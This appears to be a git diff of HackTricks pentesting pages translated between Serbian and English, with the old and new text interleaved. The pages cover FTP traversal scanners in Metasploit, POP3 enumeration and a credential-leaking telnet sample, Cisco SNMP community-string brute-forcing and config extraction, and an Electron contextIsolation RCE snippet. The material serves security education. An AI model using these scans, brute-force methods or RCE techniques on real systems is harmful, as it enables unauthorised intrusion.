Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 110,995 - Pentesting POP # 110,995 - Pentesting POP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -20,37 +23,37 @@
*** ***
## Osnovne Informacije ## Osnovne informacije
**Protokol za poštanski servis (POP)** je opisan kao protokol unutar oblasti računarskih mreža i Interneta, koji se koristi za izvlačenje i **preuzimanje emailova sa udaljenog mail servera**, čime se omogućava pristup na lokalnom uređaju. Pozicioniran unutar aplikativnog sloja OSI modela, ovaj protokol omogućava korisnicima da preuzimaju i primaju emailove. Rad **POP klijenata** obično uključuje uspostavljanje veze sa mail serverom, preuzimanje svih poruka, čuvanje ovih poruka lokalno na klijentskom sistemu, i naknadno njihovo uklanjanje sa servera. Iako postoje tri iteracije ovog protokola, **POP3** se ističe kao najčešće korišćena verzija. **Post Office Protocol (POP)** se opisuje kao protokol unutar oblasti računarskih mreža i Interneta, koji se koristi za ekstrakciju i **preuzimanje e-pošte sa udaljenog mail servera**, čineći je dostupnom na lokalnom uređaju. Pozicioniran unutar aplikacione sloja OSI modela, ovaj protokol omogućava korisnicima da preuzmu i prime e-poštu. Rad **POP klijenata** obično uključuje uspostavljanje veze sa mail serverom, preuzimanje svih poruka, čuvanje ovih poruka lokalno na klijentskom sistemu i naknadno uklanjanje sa servera. Iako postoje tri iteracije ovog protokola, **POP3** se izdvaja kao najčešće korišćena verzija.
**Podrazumevani portovi:** 110, 995(ssl) **Podrazumevani portovi:** 110, 995(ssl)
``` ```
PORT STATE SERVICE PORT STATE SERVICE
110/tcp open pop3 110/tcp open pop3
``` ```
## Enumeracija ## Enumeration
### Preuzimanje banera ### Banner Grabbing
```bash ```bash
nc -nv <IP> 110 nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet openssl s_client -connect <IP>:995 -crlf -quiet
``` ```
## Ručno ## Manual
Možete koristiti komandu `CAPA` da biste dobili mogućnosti POP3 servera. Možete koristiti komandu `CAPA` da dobijete mogućnosti POP3 servera.
## Automatizovano ## Automated
```bash ```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
``` ```
`pop3-ntlm-info` plugin će vratiti neke "**osetljive**" podatke (verzije Windows-a). The `pop3-ntlm-info` plugin će vratiti neke "**osetljive**" podatke (Windows verzije).
### [POP3 brute force](../generic-methodologies-and-resources/brute-force.md#pop) ### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
## POP sintaksa ## POP sintaksa
Primeri POP komandi sa [ovde](http://sunnyoasis.com/services/emailviatelnet.html) POP komande primeri iz [ovde](http://sunnyoasis.com/services/emailviatelnet.html)
```bash ```bash
POP commands: POP commands:
USER uid Log in as "uid" USER uid Log in as "uid"
@ -64,9 +67,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg TOP msg n Show first n lines of message number msg
CAPA Get capabilities CAPA Get capabilities
``` ```
### Post Office Protocol (POP) Primjer:
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to brute force POP credentials or use tools like Hydra to automate the process. Additionally, you can look for misconfigurations or vulnerabilities in the POP server that could lead to unauthorized access.
``` ```
root@kali:~# telnet $ip 110 root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -91,17 +92,17 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean username: billydean
password: PA$$W0RD!Z password: PA$$W0RD!Z
``` ```
## Opasne postavke ## Opasne Postavke
Sa [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Postavka** | **Opis** | | **Postavka** | **Opis** |
| ------------------------- | ----------------------------------------------------------------------------------------- | | ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Omogućava sve zapise za debagovanje autentikacije. | | `auth_debug` | Omogućava sve logove za debagovanje autentifikacije. |
| `auth_debug_passwords` | Ova postavka podešava nivo detalja zapisa, unete lozinke i šema se beleže. | | `auth_debug_passwords` | Ova postavka podešava verbosnost logova, podnete lozinke i šema se beleži. |
| `auth_verbose` | Beleže se neuspešni pokušaji autentikacije i njihovi razlozi. | | `auth_verbose` | Beleži neuspešne pokušaje autentifikacije i njihove razloge. |
| `auth_verbose_passwords` | Lozinke korišćene za autentikaciju se beleže i mogu biti skraćene. | | `auth_verbose_passwords` | Lozinke korišćene za autentifikaciju se beleže i mogu biti skraćene. |
| `auth_anonymous_username` | Ovo određuje korisničko ime koje će se koristiti prilikom prijavljivanja pomoću ANONYMOUS SASL mehanizma. | | `auth_anonymous_username` | Ova postavka definiše korisničko ime koje će se koristiti prilikom prijavljivanja sa ANONYMOUS SASL mehanizmom. |
**Try Hard Security Group** **Try Hard Security Group**
@ -152,13 +153,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
``` ```
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Naučite AWS hacking od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Da li radite u **kompaniji za sajber bezbednost**? Da li želite da vidite svoju **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud). * **Podelite svoje hacking trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,68 +1,74 @@
# Cisco SNMP # Cisco SNMP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Pentestiranje Cisco mreža ## Pentesting Cisco Networks
**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke stringove, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ovi stringovi su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili za čitanje i pisanje (RW) dozvole**. Značajan vektor napada za pentestere je **bruteforsovanje zajedničkih stringova**, sa ciljem infiltiranja mrežnih uređaja. **SNMP** funkcioniše preko UDP-a sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na community strings, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ove stringove su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan napad za pentestere je **brute-forcing community strings**, sa ciljem infiltracije u mrežne uređaje.
Praktičan alat za izvođenje ovakvih napada brute-force je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih stringova i IP adrese ciljeva: Praktičan alat za izvođenje ovakvih brute-force napada je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih community strings i IP adrese ciljeva:
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c communitystrings -i targets
``` ```
#### `cisco_config_tftp` #### `cisco_config_tftp`
Metasploit okvir sadrži modul `cisco_config_tftp`, koji olakšava ekstrakciju konfiguracija uređaja, pod uslovom da se stekne RW zajednički niz. Osnovni parametri za ovu operaciju uključuju: Metasploit okvir sadrži `cisco_config_tftp` modul, koji olakšava ekstrakciju konfiguracija uređaja, pod uslovom da se dobije RW community string. Osnovni parametri za ovu operaciju uključuju:
* RW zajednički niz (**COMMUNITY**) * RW community string (**COMMUNITY**)
* IP adresa napadača (**LHOST**) * IP adresa napadača (**LHOST**)
* IP adresa ciljnog uređaja (**RHOSTS**) * IP adresa ciljnog uređaja (**RHOSTS**)
* Putanja odredišta za konfiguracione datoteke (**OUTPUTDIR**) * Odredišna putanja za konfiguracione datoteke (**OUTPUTDIR**)
Nakon konfiguracije, ovaj modul omogućava preuzimanje postavki uređaja direktno u određenu fasciklu. Nakon konfiguracije, ovaj modul omogućava preuzimanje podešavanja uređaja direktno u određenu fasciklu.
#### `snmp_enum` #### `snmp_enum`
Još jedan Metasploit modul, **`snmp_enum`**, specijalizovan je za prikupljanje detaljnih informacija o hardveru. Radi sa bilo kojim tipom zajedničkog niza i za uspešno izvršavanje zahteva IP adresu cilja: Još jedan Metasploit modul, **`snmp_enum`**, specijalizovan je za prikupljanje detaljnih informacija o hardveru. Radi sa bilo kojim tipom community string-a i zahteva IP adresu cilja za uspešno izvršenje:
```bash ```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
``` ```
## Reference ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, pisano i govorno_). Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Electron contextIsolation RCE putem unutrašnjeg koda Electrone # Electron contextIsolation RCE via Electron internal code
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Primer 1 ## Example 1
Primer sa [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41) Primer sa [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
"exit" događajni slušalac uvek postavljen od strane unutrašnjeg koda kada se pokrene učitavanje stranice. Ovaj događaj se emituje neposredno pre navigacije: "exit" event listener je uvek postavljen od strane internog koda kada je učitavanje stranice započeto. Ovaj događaj se emituje neposredno pre navigacije:
```javascript ```javascript
process.on('exit', function (){ process.on('exit', function (){
for (let p in cachedArchives) { for (let p in cachedArchives) {
@ -31,7 +34,7 @@ cachedArchives[p].destroy()
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Više ne postoji https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Više ne postoji
Onda ide ovde: Zatim ide ovde:
![](<../../../.gitbook/assets/image (793).png>) ![](<../../../.gitbook/assets/image (793).png>)
@ -43,7 +46,7 @@ Objekat procesa ima reference na "require" funkciju:
``` ```
process.mainModule.require process.mainModule.require
``` ```
Kako će handler.call primiti process objekat, možemo ga prebrisati da izvršimo proizvoljan kod: Kao što će handler.call primiti objekat procesa, možemo ga prepisati da izvršimo proizvoljan kod:
```html ```html
<script> <script>
Function.prototype.call = function(process){ Function.prototype.call = function(process){
@ -54,24 +57,27 @@ location.reload();//Trigger the "exit" event
``` ```
## Primer 2 ## Primer 2
Dobijanje **require objekta putem zagađenja prototipa**. Sa [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) Dobijanje **require objekta iz zagađenja prototipa**. Sa [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Leak: Curjenje:
<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
Exploit: Eksploatacija:
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
